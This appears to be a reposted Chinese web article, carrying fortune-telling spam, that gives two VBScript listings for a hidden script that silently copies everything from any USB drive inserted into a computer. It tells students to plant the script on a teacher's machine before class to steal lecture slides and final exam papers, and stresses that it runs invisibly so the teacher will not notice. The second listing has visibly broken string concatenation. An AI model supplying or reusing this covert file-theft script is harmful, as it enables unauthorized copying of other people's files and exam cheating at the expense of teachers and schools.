考试符箓:U盘插入自动复制技能大分享，PPT，期末考试卷子不是事！再也不用拿手(转载)
免费测运势 免费批八字：
师父微信： master8299
U盘插入自动复制考试符箓，有效对付那些不肯给PPT地老师，还有一定几率拿到期末考试卷子···有图有真相！业界良心地好东西！！现在看还来得及！！！
代码优化了一下考试符箓，把不是很重要地都删掉了，这次使用时看不出任何现象，同样复制U盘里地东西地时候不会出现进度条，完全后台运行，老师绝对看不出
同样地建立一个文本文档考试符箓，WIN+R 里面打NOTEPAD ，或者自己新建一个都一样
photomedia
把下面地代码复制进去
set fso=createobject("scripting.filesystemobject")
set ws=createobject("wscript.shell")
on error resume next
do
wscript.sleep 1000
if fso.driveexists("U盘地盘符") then
fso.copyfile "U盘地盘符加号","要复制到地目录"
fso.copyfolder "U盘地盘符加号","要复制到地目录"
wscript.sleep 20000
end if
loop
photomedia
注意标颜色地地方要自己改
蓝色地就是要复制到地目录，比如要复制到C盘USB文件夹里，则用C:\USB\代替蓝色部分，注意大小写，同时必须确保USB这个文件 夹存在考试符箓。
红色地是U盘地盘符考试符箓，比如新插进去地U盘是E盘，则用e:\代替红色部分，F盘就是f:\，
第一个U盘地盘符，这个不要号， 后2个切记不要漏掉这个符号考试符箓。
photomedia
注意和第一个地区别
复制好也改好后保存文件就OK了，然后改一下这个文件地名字，最好使用英文地，然后后缀改成.VBS，原来是.TXT地，如果后缀没哟显示，则先打开我地电 脑，在菜单栏里找到，工具——文件夹选项，在查看标签里，有一个隐藏已知文件类型地扩展名，把勾勾去掉就会显示出来后缀了考试符箓。
photomedia
photomedia
后缀改好以后， 运行这个文件，就OK了考试符箓。同时你可以把这个文件删除掉，它已经驻留内存了，重启以后这个东西就不会再出现了，老师绝对发现不了
要停止这个东西，在任务管理器里面 结束进程WScript.exe就可以了考试符箓。这个软件学过编程地都应该会看得懂有没有恶意代码。
另外我不是计算机专业地，这个东西目前对插N个U盘只会复制第一个，对插移动硬盘会全部复制···要接近电脑请在上课之前，一般老师怕麻烦不会去重启地考试符箓。
更新：
现在没空弄这个考试符箓，有些人弄不来 我现在更新了一下代码，复制下面地所有东西到一个文本文件，改名为XX.VBS 使用即可
set fso=createobject("scripting.filesystemobject")
set ws=createobject("wscript.shell")
dim USB, file, folder, files
USB=inputbox("请输入U盘地盘符"Chr(10)"如插入地U盘为F盘考试符箓，则输入F","插入地U盘盘符","F")
folder=inputbox("请输入复制到地文件夹"Chr(10)"如想复制到D盘考试符箓，请输入D:\","请输入复制到地文件夹","C:\USB")
files=inputbox("请输入要复制地文件类型"Chr(10)"如要复制EXCEL文件考试符箓，输入xls；默认为全部类型","请输入要复制地文件类型","ALL")
USB=USB ":\"
folder=folder "\"
if files="ALL"then
file=USB ""
else
file=USB "." files
end if
if FSO.FolderExists(folder) then
else
FSO.CreateFolder(folder)
end if
on error resume next
do
wscript.sleep 1000
if fso.driveexists(USB) then
fso.copyfile file,folder
fso.copyfolder file,folder
wscript.sleep 20000
end if
loop
本文链接：https://www.daojiaowz.com/index.php/post/23517.html
转载声明：本站发布文章及版权归原作者所有，转载本站文章请注明文章来源！